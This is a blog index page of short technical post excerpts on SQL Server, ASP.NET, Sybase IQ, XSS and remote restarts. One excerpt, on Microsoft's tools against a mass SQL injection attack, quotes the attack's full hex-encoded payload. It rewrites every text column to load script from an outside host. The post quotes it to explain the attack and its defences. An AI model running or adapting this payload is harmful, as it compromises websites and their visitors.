MSDN has made available a SQL Server 2008 whitepaper: An Introduction to New T-SQL Programmability Features in SQL Server 2008 Summary: This paper introduces key new Transact-SQL programmability features in Microsoft SQL Server 2008 as well as SQL/Common Language Runtime (CLR) enhancements. New Transact-SQL features provide improved performance, increased functionality, and enhanced globalization support. Transact-SQL programmability enhancements in SQL Server 2008 address the needs of both OLTP and data warehouse environments.

At LessThanDot, we’ve decided to release a series of articles, tips and tricks which will be known as the “Hacks” series. The first installment was the popular SQL Server Programming Hacks and this week sees the release of the ASP.NET Hacks. These hacks have been split up into the following categories: 1 Applications 2 Caching 3 Controls 4 Database 5 Dates 6 Debugging 7 Email 8 Encryption 9 Files 10 Images

For a while now, I’ve been brewing my own beer. Being a programmer, when I’m brewing of course I also need a way to store my recipes, and how they turn out. So I have a simple application I wrote that most recently uses SQL Server Compact edition for its database. Recently I was trying to make some improvements to my domain in this application (namely, separating the “Impression” information from the recipe itself so that I could allow my special lady, and anyone else who drinks one of my beers, weigh in with their impressions of it).

Creativity is a wonderful thing. It’s also something different for each of us, which is why sometimes our perspectives on the world can produce conflicting ideas on what is the right way and the wrong way to do things. This is a very common facet of the IT world, in particular making computer software, solutions and services. We don’t need architects! …Do we ? It’s important for us to remember that we develop software to “do something” that we want it to do.

Maybe you heard about Sybase IQ and maybe you did not. So what is Sybase IQ? Sybase IQ is a columnar database. What does this mean? This mean that the data is stored in columns and not in rows. Inserts are slower that a traditional row based database but selects are many times faster (up to 50 times). The good thing about this technology is that the SQL looks the same, the only difference is that the data is stored in a different way.

If you want to make sure that your site is safe from Cross Site Scripting attacks then you have to visit this site http://ha.ckers.org/xss.html Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy.

I noticed this free ebook today, figured I would share it here. I’ve obviously not read the whole thing yet, but it looks like its’ pretty good info (at least for a .NET developer). You can download it here: Foundations of Programming @ CodeBetter I think its’ really cool that someone took the time to compile all this information and get it out to us for free. It seems pretty concise also (only 79 pages, and covers a lot of big topics).

Microsoft has released 3 tools that deal with the recent SQL injection attack. These three tools include HP Scrawlr , UrlScan version 3.0 Beta , and a SQL Source Code Analysis Tool. Microsoft further recommends following the best practices found within security advisory 954462. Most of the sites affected had this submitted as part of the injection DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243 4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S); This is of course done so that you can’t see the real SQL and then you can’t check for DROP, UPDATE and other DDL and DML commands

Sometimes you have to login to your work PC from home over the VPN and after a while for some reason or another you want to restart your PC. How can you do that? You can’t use the start menu because only the log off button is displayed Well one way is to open a command window and executing shutdown -r That will restart your computer Here is the basic usage of the shutdown command

How do you select all the rows that contain uppercase characters only? There sre three ways to do this 1 Compare with BINARY_CHECKSUM 2 Use COLLATE 3 Cast to varbinary Let’s first create the table and also some test data CREATE TABLE #tmp ( x VARCHAR(10) NOT NULL ) INSERT INTO #tmp SELECT 'Word' UNION ALL SELECT 'WORD' UNION ALL SELECT 'ABC' UNION ALL SELECT 'AbC' UNION ALL SELECT 'ZxZ' UNION ALL SELECT 'ZZZ' UNION ALL SELECT 'word' if we want only the uppercase columns then this is supposed to be our output